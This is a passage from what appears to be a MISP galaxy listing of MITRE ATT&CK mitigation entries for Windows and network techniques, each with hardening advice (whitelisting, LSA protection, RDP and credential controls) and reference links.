http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1004

Compile After Delivery Mitigation - T1500

This type of technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, blocking all file compilation may have unintended side effects, such as preventing legitimate OS frameworks and code development mechanisms from operating properly. Consider removing compilers if not needed, otherwise efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Identify unnecessary system utilities or potentially malicious software that may be used to decrypt, deobfuscate, decode, and compile files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Compile After Delivery Mitigation - T1500"*

Table 9218. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1500
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Use Recent OS Version - M1006

New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered. They may also bring improvements that block use of observed adversary techniques.

The tag is: *misp-galaxy:mitre-course-of-action="Use Recent OS Version - M1006"*

Table 9219. Table References

Links
https://attack.mitre.org/mitigations/M1006

System Service Discovery Mitigation - T1007

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="System Service Discovery Mitigation - T1007"*

Table 9220. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1007
https://technet.microsoft.com/en-us/library/ee791851.aspx

Taint Shared Content Mitigation - T1080

Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).

Reduce potential lateral movement risk by using web-based document management and collaboration services that do not use network file and directory sharing.

Identify potentially malicious software that may be used to taint content or may result from it and

audit and/or block the unknown programs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Taint Shared Content Mitigation - T1080"*

Table 9221. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://attack.mitre.org/mitigations/T1080
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm

Security Support Provider Mitigation - T1101

Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code>, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)

The tag is: *misp-galaxy:mitre-course-of-action="Security Support Provider Mitigation - T1101"*

Table 9222. Table References

Links
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
https://attack.mitre.org/mitigations/T1101
https://technet.microsoft.com/en-us/library/dn408187.aspx

Peripheral Device Discovery Mitigation - T1120

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Peripheral Device Discovery Mitigation - T1120"*

Table 9223. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1120
https://technet.microsoft.com/en-us/library/ee791851.aspx

Password Policy Discovery Mitigation - T1201

Mitigating discovery of password policies is not advised since the information is required to be known by systems and users of a network. Ensure password policies are such that they mitigate brute force attacks yet will not give an adversary an information advantage because the policies are too light. Active Directory is a common way to set and enforce password policies throughout an enterprise network. (Citation: Microsoft Password Complexity)

The tag is: *misp-galaxy:mitre-course-of-action="Password Policy Discovery Mitigation - T1201"*

Table 9224. Table References

Links
https://attack.mitre.org/mitigations/T1201
https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/password-must-meet-complexity-requirements

Install Root Certificate Mitigation - T1130

HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)

Windows Group Policy can be used to manage root certificates and the <code>Flags</code> value of <code>HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\ProtectedRoots</code> can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. (Citation: SpectorOps Code Signing Dec 2017)

The tag is: *misp-galaxy:mitre-course-of-action="Install Root Certificate Mitigation - T1130"*

Table 9225. Table References

Links
https://attack.mitre.org/mitigations/T1130
https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning

https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec

Modify Existing Service Mitigation - T1031

Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for Privilege Escalation weaknesses. (Citation: Powersploit)

Identify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.

The tag is: *misp-galaxy:mitre-course-of-action="Modify Existing Service Mitigation - T1031"*

Table 9226. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1031
https://github.com/mattifestation/PowerSploit

Remote File Copy Mitigation - T1105

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Remote File Copy Mitigation - T1105"*

Table 9227. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1105

Graphical User Interface Mitigation - T1061

Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) and Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Graphical User Interface Mitigation - T1061"*

Table 9228. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1061
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Application Deployment Software Mitigation - T1017

Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).

If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.

The tag is: *misp-galaxy:mitre-course-of-action="Application Deployment Software Mitigation - T1017"*

Table 9229. Table References

Links
https://attack.mitre.org/mitigations/T1017

Credentials in Files Mitigation - T1081

Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences. (Citation: Microsoft MS14-025)

The tag is: *misp-galaxy:mitre-course-of-action="Credentials in Files Mitigation - T1081"*

Table 9230. Table References

Links
http://support.microsoft.com/kb/2962486
https://attack.mitre.org/mitigations/T1081

Remote System Discovery Mitigation - T1018

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Remote System Discovery Mitigation - T1018"*

Table 9231. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1018
https://technet.microsoft.com/en-us/library/ee791851.aspx

Indirect Command Execution Mitigation - T1202

Identify or block potentially malicious software that may contain abusive functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP). These mechanisms can also be used to disable

and/or limit user access to Windows utilities and file types/locations used to invoke malicious execution.(Citation: SpectorOPs SettingContent-ms Jun 2018)

The tag is: *misp-galaxy:mitre-course-of-action="Indirect Command Execution Mitigation - T1202"*

Table 9232. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1202
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
https://technet.microsoft.com/en-us/library/ee791851.aspx

XSL Script Processing Mitigation - T1220

[Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and/or msxsl.exe may or may not be used within a given environment. Disabling WMI may cause system instability and should be evaluated to assess the impact to a network. If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries.

The tag is: *misp-galaxy:mitre-course-of-action="XSL Script Processing Mitigation - T1220"*

Table 9233. Table References

Links
https://attack.mitre.org/mitigations/T1220

Standard Cryptographic Protocol Mitigation - T1032

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Standard Cryptographic Protocol Mitigation - T1032"*

Table 9234. Table References

Links

https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1032

Custom Cryptographic Protocol Mitigation - T1024

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Custom Cryptographic Protocol Mitigation - T1024"*

Table 9235. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1024

System Information Discovery Mitigation - T1082

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="System Information Discovery Mitigation - T1082"*

Table 9236. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1082
https://technet.microsoft.com/en-us/library/ee791851.aspx

Windows Remote Management Mitigation - T1028

Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices. (Citation: NSA Spotting)

The tag is: *misp-galaxy:mitre-course-of-action="Windows Remote Management Mitigation - T1028"*

Table 9237. Table References

Links
https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm
https://attack.mitre.org/mitigations/T1028

Commonly Used Port Mitigation - T1043

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Commonly Used Port Mitigation - T1043"*

Table 9238. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1043

Security Software Discovery Mitigation - T1063

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Security Software Discovery Mitigation - T1063"*

Table 9239. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx

http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1063
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Network Service Scanning Mitigation - T1046

Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices.

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Network Service Scanning Mitigation - T1046"*

Table 9240. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1046
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Application Isolation and Sandboxing - M1048

Application Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox). This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact. This mitigation can be implemented through the following measures:

Browser Sandboxing:

- Use Case: Implement browser sandboxing to isolate untrusted web content and prevent malicious web pages or scripts from accessing sensitive system resources or initiating unauthorized downloads.
- Implementation: Use browsers with built-in sandboxing features (e.g., Google Chrome, Microsoft Edge) or deploy enhanced browser security frameworks that limit the execution scope of active content. Consider controls that monitor or restrict script-based file generation and downloads commonly abused in evasion techniques like HTML smuggling.

Application Virtualization:

- Use Case: Deploy critical or high-risk applications in a virtualized environment to ensure any compromise does not affect the host system.
- Implementation: Use application virtualization platforms to run applications in isolated environments.

Email Attachment Sandboxing:

- Use Case: Route email attachments to a sandbox environment to detect and block malware before delivering emails to end-users.
- Implementation: Integrate security solutions with sandbox capabilities to analyze email attachments.

Endpoint Sandboxing:

- Use Case: Run all downloaded files and applications in a restricted environment to monitor their behavior for malicious activity.
- Implementation: Use endpoint protection tools for sandboxing at the endpoint level.

The tag is: *misp-galaxy:mitre-course-of-action="Application Isolation and Sandboxing - M1048"*

Table 9241. Table References

Links
https://attack.mitre.org/mitigations/M1048

Inhibit System Recovery Mitigation - T1490

Consider technical controls to prevent the disabling of services or deletion of files involved in system recovery.

Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.

Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation:

TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Inhibit System Recovery Mitigation - T1490"*

Table 9242. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1490
https://technet.microsoft.com/en-us/library/ee791851.aspx
https://www.ready.gov/business/implementation/IT

Uncommonly Used Port Mitigation - T1065

Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Uncommonly Used Port Mitigation - T1065"*

Table 9243. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1065

Pass the Hash Mitigation - T1075

Monitor systems and domain logs for unusual credential logon activity. Prevent access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group.

Enable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located <code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy</code> Through GPO: Computer Configuration > [Policies] > Administrative Templates >

SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)

Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.

The tag is: *misp-galaxy:mitre-course-of-action="Pass the Hash Mitigation - T1075"*

Table 9244. Table References

Links
https://attack.mitre.org/mitigations/T1075
https://github.com/iadgov/Secure-Host-Baseline/blob/master/Windows/Group%20Policy%20Templates/en-US/SecGuide.adml

Remote Desktop Protocol Mitigation - T1076

Disable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins. (Citation: Berkley Secure) Do not leave RDP accessible from the internet. Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server. (Citation: Windows RDP Sessions)

The tag is: *misp-galaxy:mitre-course-of-action="Remote Desktop Protocol Mitigation - T1076"*

Table 9245. Table References

Links
https://attack.mitre.org/mitigations/T1076
https://security.berkeley.edu/node/94
https://technet.microsoft.com/en-us/library/cc754272(v=ws.11).aspx

NTFS File Attributes Mitigation - T1096

It may be difficult or inadvisable to block access to EA and ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Symantec ADS May 2009) Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA and ADSs by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Consider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. (Citation: InsiderThreat NTFS EA Oct 2017)

The tag is: *misp-galaxy:mitre-course-of-action="NTFS File Attributes Mitigation - T1096"*

Table 9246. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1096
https://blog.stealthbits.com/attack-step-3-persistence-ntfs-extended-attributes-file-system-attacks
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/
https://technet.microsoft.com/en-us/library/ee791851.aspx
https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore

Permission Groups Discovery Mitigation - T1069

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Permission Groups Discovery Mitigation - T1069"*

Table 9247. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1069
https://technet.microsoft.com/en-us/library/ee791851.aspx

Windows Admin Shares Mitigation - T1077

Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.

Identify unnecessary system utilities or potentially malicious software that may be used to leverage SMB and the Windows admin shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Windows Admin Shares Mitigation - T1077"*

Table 9248. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1077
https://technet.microsoft.com/en-us/library/ee791851.aspx

Pass the Ticket Mitigation - T1097

Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)

For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection)

Attempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Pass the Ticket Mitigation - T1097"*

Table 9249. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://adsecurity.org/?p=556
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1097
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf
https://technet.microsoft.com/en-us/library/ee791851.aspx

Disabling Security Tools Mitigation - T1089

Ensure proper process, registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.

The tag is: *misp-galaxy:mitre-course-of-action="Disabling Security Tools Mitigation - T1089"*

Table 9250. Table References

Links
https://attack.mitre.org/mitigations/T1089

Space after Filename Mitigation - T1151

Prevent files from having a trailing space after the extension.

The tag is: *misp-galaxy:mitre-course-of-action="Space after Filename Mitigation - T1151"*

Table 9251. Table References

Links
https://attack.mitre.org/mitigations/T1151

Credentials in Registry Mitigation - T1214

Do not store credentials within the Registry. Proactively search for credentials within Registry keys and attempt to remediate the risk. If necessary software must store credentials, then ensure those accounts have limited permissions so they cannot be abused if obtained by an adversary.

The tag is: *misp-galaxy:mitre-course-of-action="Credentials in Registry Mitigation - T1214"*

Table 9252. Table References

Links
https://attack.mitre.org/mitigations/T1214

System Time Discovery Mitigation - T1124

Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.

Identify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="System Time Discovery Mitigation - T1124"*

Table 9253. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
